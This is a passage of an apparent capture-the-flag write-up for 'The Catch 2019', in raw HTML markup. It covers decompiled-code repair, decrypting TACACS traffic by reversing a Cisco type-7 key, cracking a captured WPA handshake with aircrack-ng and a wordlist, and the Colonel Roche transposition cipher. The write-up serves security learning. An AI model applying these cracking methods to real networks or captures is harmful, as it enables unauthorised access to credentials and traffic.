    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#&amp;quot;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Removes docstrings&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# The convert function has an extra newline after its docstring,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# we change it to a nonempty line to properly detect end of function later. &lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;convert(init):&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#&amp;quot;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Here we iterate until we arrive at the end of a function&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Add missing &amp;quot;:&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                                    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;for&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;else&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;if&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Indent can be broken only right at the start of a block&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# Force next line indent&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Patch return&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;return&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Walk over all lines in the file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot; + = &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot; += &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsigs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fix_fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This does not work in all cases, but running the script several times will
eventually get a fixable input code that produces the correct result.&lt;/p&gt;

&lt;h2 id=&quot;payment-terminal&quot;&gt;Payment Terminal&lt;/h2&gt;

&lt;p&gt;We get a PCAP containing an exchange that captures configuration upload to a
Cisco router.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/payment-protocols.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 506px&quot; src=&quot;/images/the-catch-2019/payment-protocols.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First we look at the TFTP exchange. Following the appropriate UDP stream in
Wireshark yields this file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&lt;span&gt;&lt;/span&gt;........
!
! Last configuration change at 14:06:27 UTC Mon Jun 10 2019
!
version 15.5
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname Router-R12
!
boot-start-marker
boot-end-marker
!
# ...
# Interesting lines follow (comments added by me)
tacacs-server host 172.16.66.14
tacacs-server key 7 0804545A1B18360300040203641B256C770272010355
# ...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/TACACS&quot;&gt;TACACS&lt;/a&gt; is some ancient protocol for
configuring network devices. Our dump contains it, so we should look at that next.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/payment-tacacs.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 745px&quot; src=&quot;/images/the-catch-2019/payment-tacacs.png&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/images/the-catch-2019/payment-tacacs-encrypted.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 225px&quot; src=&quot;/images/the-catch-2019/payment-tacacs-encrypted.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fortunately Wireshark supports decrypting TACACS exchanges. Unfortunately the
preshared key is in some “encrypted” Cisco format. This can however be easily
reversed using
&lt;a href=&quot;http://www.firewall.cx/cisco-technical-knowledgebase/cisco-routers/358-cisco-type7-password-crack.html&quot;&gt;this&lt;/a&gt;
online tool.&lt;/p&gt;

&lt;p&gt;Looking through the decrypted TACACS requests yields the flag as a request
parameter.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/payment-flag.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 291px&quot; src=&quot;/images/the-catch-2019/payment-flag.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;vacuum-cleaner&quot;&gt;Vacuum Cleaner&lt;/h2&gt;

&lt;p&gt;Here we have a PCAP containing a large amount of encrypted 802.11 traffic. Running
&lt;code&gt;aircrack-ng&lt;/code&gt; shows that it contains an authentication handshake for the
suggestively named “ThisIsTheWay” network.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/vacuum-aircrack.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/the-catch-2019/t/vacuum-aircrack.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some messing with wordlists, I got lucky with the one from
&lt;a href=&quot;https://distro.ibiblio.org/openwall/wordlists/&quot;&gt;OpenWall&lt;/a&gt;, cracking
the password in under a minute.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/vacuum-cracked.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/the-catch-2019/t/vacuum-cracked.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After configuring Wireshark to use the password to decrypt the Wi-Fi traffic,
the flag can be found inside a TXT DNS exchange. For whatever reason,
I needed to &lt;a href=&quot;https://www.wireshark.org/tools/wpa-psk.html&quot;&gt;generate&lt;/a&gt; a PSK first
instead of entering the password directly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/vacuum-flag.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 325px&quot; src=&quot;/images/the-catch-2019/vacuum-flag.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;colonel-roche&quot;&gt;Colonel Roche&lt;/h2&gt;

&lt;p&gt;This one definitely took me the longest.&lt;/p&gt;

&lt;p&gt;We get the following ciphertext:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&lt;span&gt;&lt;/span&gt;463216327617246f67406f1266075ec622606c6671765537066636596
e621e64e622c2b006066961c66e621f067676e77c6e665167a462c4b5
0477433617754222d7043542885747df6dd575970417d435223000&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(linewrapping added by me)&lt;/p&gt;

&lt;p&gt;We also get reference to someone called &lt;a href=&quot;https://fr.wikipedia.org/wiki/Jean-Baptiste_Roche&quot;&gt;“Colonel Roche”&lt;/a&gt;.
This guy was a French aeronautical engineer who also dabbled in cryptography.
Finding any references to his cryptographical work is extremely hard though.
An 19th century &lt;a href=&quot;https://archive.org/details/8VSUP3207b/page/n33&quot;&gt;textbook&lt;/a&gt;
can be found that references a cipher named after him but as I do not know any French, it
was of very little help. The fact that a street named after him
&lt;a href=&quot;https://goo.gl/maps/Nc5PLtDFpVNr5j7C9&quot;&gt;exists&lt;/a&gt; housing multiple academic
institutions does not help the situation at all.&lt;/p&gt;

&lt;p&gt;Out of desperation, I attempted to google a result in Czech and bingo, I got
a decade old popsci &lt;a href=&quot;https://www.epochtimes.cz/200807115516/Tajemstvi-sifer-Po-stopach-kryptografie-a-steganografie-IV.html&quot;&gt;article&lt;/a&gt; about “Colonel Roche’s Transposition Cipher”.&lt;/p&gt;

&lt;p&gt;As finding anything about this in English is next to impossible, let me
reproduce the method here. The cipher is basically a column transposition
cipher except that the columns can have variable lenghts.&lt;/p&gt;

&lt;p&gt;First we pick a key, such as &lt;code&gt;robot&lt;/code&gt; and number each of the characters
depending on its alphabetical order. Note that if we have repeating letter,
it &lt;em&gt;does not&lt;/em&gt; get assigned the same number twice.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&lt;span&gt;&lt;/span&gt;|r|o|b|o|t|
|4|2|1|3|5|&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we construct variable columns with length limited by their appropriate
numerical value. Then we start writing the plaintext in the rows. If a row is
already at its maximum character count, we skip it.&lt;/p&gt;

&lt;p&gt;Here we take &lt;code&gt;colonelroche&lt;/code&gt; as our ciphertext.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&lt;span&gt;&lt;/span&gt;|4|2|1|3|5|
|c|o|l|o|n|
|e|l| |r|o|
|c|   |h|e|
|-|     |-|
        |-|&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Notice that I padded the message with &lt;code&gt;-&lt;/code&gt; to fill all columns. This will be
important later.&lt;/p&gt;

&lt;p&gt;Reading the columns in the top-down order results in the ciphertext &lt;code&gt;cec-ollorhnoe--&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Decryption is just the process in reverse - We fill columns first and then read
the rows.&lt;/p&gt;

&lt;p&gt;Now we can make an important observation. As the ciphertext is always padded
to fill up columns from 1 to the key length &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;N &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, it’s length &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;L &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is constrained
to be an integer solution of the following:&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
    L = \frac{N(N+1)}{2}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:2.113em;vertical-align:-0.686em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.427em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.686em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Looking at the ciphertext can give us another important clue — the flag
has to contain characters like &lt;code&gt;{&lt;/code&gt; and if we hex-decoded before applying the
decryption, there would be no way of getting those characters. Thus it is clear
we have to apply the algorithm to the hexadecimal digits directly.&lt;/p&gt;

&lt;p&gt;Now we come to the main issue. We have &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;168&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;L = 168 &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span 